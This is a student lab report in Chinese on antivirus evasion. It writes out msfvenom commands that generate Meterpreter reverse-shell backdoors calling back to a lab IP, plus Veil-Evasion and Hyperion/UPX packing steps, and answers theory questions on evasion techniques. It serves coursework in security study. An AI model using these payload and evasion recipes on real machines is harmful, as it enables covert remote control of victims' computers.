• 免杀原理及基础问题回答
  • 实验内容
    • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

      • 使用msf编码器生成各种后门程序及检测
      • 使用veil-evasion生成后门程序及检测
      • 半手工注入Shellcode并执行
    • 任务二:通过组合应用各种技术实现恶意代码免杀
    • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. msfvenom生成.jar文件

  • 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT= x> 4305_backjar.jar
  • 扫描结果如下

2. msfvenom生成.exe文件

  • 与实验二相同,生成一次编码(端口号做实验的时候打错了o(╥﹏╥)o)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.80.129 LPORT= -f exe > met-encoded.exe

  • 查杀结果:

  • 十次编码使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i  -b ‘\x00’ LHOST=192.168.80.129 LPORT= -f exe > msf4305.exe

  • 查杀结果

3. msfvenom生成php文件

  • 生成PHP命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT= x> .php
  • 查杀结果

4. 使用veil-evasion生成后门程序及检测

安装veil

 sudo apt-get install veil
sudo apt-get upgrade veil

  • 然后我遇到群里出现的问题,也尝试了多次更新但是也没效果(如下图)

  • 这个问题实际上只需要请将Autolt3文件夹从Programe Files (x86)下移动到Programe Files文件夹下就可以解决。

使用veil

  • 打开veil,veil

  • 用use evasion命令进入Evil-Evasion

  • 进入配置界面,use c/meterpreter/rev_tcp.py

  • 输入generate生成文件,接着输入你想要playload名称

  • 然后去查杀,结果。。。肯定不行

5. 半手工注入Shellcode并执行

  • 这部分我在实验2中就已经做过,详情请见链接。、

  • 查杀结果

6.加壳自制后门

  • 压缩壳

  • 加密壳

     /usr/share/windows-binaries/hyperion/
    wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe

任务二:通过组合应用各种技术实现恶意代码免杀

由于懒惰,做本次试验拖了几天,看到很多同学都达到了实验报告中免杀的要求,于是我就按部分同学的制作思路,复现了一下,发现没有成功,具体情况如下

  • 我看到了有同学说利用手工shellcode、加密壳和压缩壳实现了免杀,于是我用helloworld的代码试验了一下
  • 先编写一个helloworld,然后对其编译生成的exe文件进行压缩、加密、加密压缩的操作

  • 然后在主机运行360的情况下,将这些exe文件都拷贝到主机上,发现

  • 哦看起来只有压缩壳没啥问题,然后我又把压缩壳放到了网站上查杀了一下

  • 虽然还没结束,但这报毒率比真正有毒的PHP文件都高。。。。。
  • 那么问题来了,是我用的壳不对吗?然后我又看到有的同学说先用py生成shellcode然后用加密壳就没有被查杀,我有复现了一遍,结果跟前面实验一样。。。。。
  • 那看来要不就是我的360太强了,要不就是我的壳有问题。。。。。
  • 还有一个问题,我在运行不加壳的c代码,360就自动给我杀了。。。。
  • 所以希望有利用半手工shellcode和壳做出免杀程序的同学可以私聊我,教我一下是怎么做出来的(瞻仰大佬)Thanks♪(・ω・)ノ

实验总结与体会

  • 实验感想

    不管是通过什么方法,只要用加密壳就一定被杀,只要用反弹连接就会生成meterpreter文件也会被杀,所以只是改变编码顺序并不能避免被杀,真心希望前面做出来的同学教我一下如何被免杀。

  • 杀软是如何检测出恶意代码的?

    • 基于特征码
    • 实时监控
    • 基于行为的恶意软件检测
  • 免杀是做什么?

    可以实现杀毒软件不发现、扫描不出病毒代码。

  • 免杀的基本方法有哪些

    • 改变特征码

      • 加壳
      • shellcode+encoder
      • veil-evasion
      • 半手工化
    • 改变行为
      • 通讯方式

        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作系统
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码
  • 开启杀软能绝对防止电脑中恶意代码吗

    那一定是防不住的,杀毒软件是被动的防护方式,只有恶意代码的更新才会促进杀软的升级

20164305 徐广皓 Exp3 免杀原理与实践的更多相关文章

  1. 20155205 郝博雅 Exp3 免杀原理与实践

    20155205 郝博雅 Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的? 答:++基于特征码的检测++<简单来说一段特征码就是一段或多段数据.如果一个可执行文件( ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  3. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  4. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  5. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  8. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  9. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

随机推荐

  1. mysql 分组内 排序

    mysql 分组内 排序 类似于 sqlserver over partition by   因为mysql中木有sqlserver over partition by这个函数,要从sqlserver ...

  2. 在Winform开发框架中下拉列表绑定字典以及使用缓存提高界面显示速度

    在我们开发Winform界面的时候,往往需要绑定数据字典操作,也就是绑定一些下拉列表或者一些列表显示等,以便我们方便选择数据操作,常见的字典绑定操作就是对下拉列表的处理,本篇随笔是基于DevExpre ...

  3. 哈尔滨工业大学(威海)第九届ACM程序设计竞赛 Virtual Youtuber

    链接 [https://ac.nowcoder.com/acm/contest/624/G] 题意 其实题意说的辣鸡死了,没有说明确. y is the subsequences that its s ...

  4. 使用VScode配合chrome实现网页自动刷新

    1.使用插件:livereload 2.VScode商店中搜索上述插件安装 3.Chrome商店中搜素上述插件安装 并设置允许访问文件网址: 4.在两方插件都打开的情况下,VScode中按下ctrl+ ...

  5. 团队开发项目--NABCD模型

    N(need)需求: 鉴于在学校中的大部分爱学习的学生平时都去拍空教室的占有情况,我们发现有的时候太多,导致同学们们拍照会浪费很长的时间,而且空教室的显示不是一下子全出来,有的时候还会出现无法显示的情 ...

  6. Kubernetes & Docker

    Docker核心技术原理及其应用 Docker 概览 Docker版本与安装介绍 Docker 核心技术之镜像 Docker 核心技术之容器 Docker 核心技术之容器与镜像 Docker 核心技术 ...

  7. JS学习笔记:(三)JS执行机制

    首先我们先明确一点:JavaScript是一门单线程语言.单线程也就是说同一时间只能执行一个任务,所有的任务都必须排队顺序执行.那么如果一个任务耗时很长,阻塞了其它任务的执行,就会给用户造成不友好的体 ...

  8. LODOP获取打印成功,是否加入队列

    之前博文介绍过获取打印机状态码 LODOP获取打印机状态码和状态码含义测试,但是打印机种类千差万别,状态码不一定准确,特别是打印成功的状态码,获取任务不在队列,可以判断打印成功,删除任务也是任务不在队 ...

  9. IFE第一天

    我也不知道自己到底能坚持多少天,希望66天可以坚持下来,flag在此. 第一天的知识大概就是了解一些基本概念. Web: 基于HTTP协议,利用浏览器访问网站. HTML 大概就是告诉浏览器我有一个什 ...

  10. linux makefile中一些复制运算的区别

    Makefile 中  :=. ?= .+= .=的区别 = 是最基本的赋值:= 是覆盖之前的值?= 是如果没有被赋值过就赋予等号后面的值,如果已经被赋值则就用之前的赋值+= 是添加等号后面的值